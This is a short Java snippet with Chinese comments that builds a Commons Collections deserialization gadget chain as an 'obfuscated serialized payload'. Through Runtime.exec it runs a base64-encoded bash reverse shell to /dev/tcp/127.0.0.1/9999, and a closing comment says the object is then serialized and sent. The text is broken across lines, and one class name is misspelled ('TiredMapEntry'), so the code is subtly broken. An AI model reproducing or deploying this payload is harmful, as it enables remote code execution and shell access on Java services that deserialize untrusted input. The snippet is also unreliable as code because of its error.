/
/
生成混淆后的序列化Payload(示例)
String cmd
=
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
;
Transformer[] transformers
=
new Transformer[]{
new ConstantTransformer(Runtime.
class
),
new InvokerTransformer(
"getMethod"
, new Class[]{String.
class
, Class[].
class
}, new
Object
[]{
"getRuntime"
, null}),
new InvokerTransformer(
"invoke"
, new Class[]{
Object
.
class
,
Object
[].
class
}, new
Object
[]{null, null}),
new InvokerTransformer(
"exec"
, new Class[]{String.
class
}, new
Object
[]{cmd})
};
ChainedTransformer chain
=
new ChainedTransformer(transformers);
Map
innerMap
=
new HashMap();
Map
lazyMap
=
LazyMap.decorate(innerMap, chain);
TiedMapEntry entry
=
new TiredMapEntry(lazyMap,
"key"
);
/
/
序列化entry对象并发送...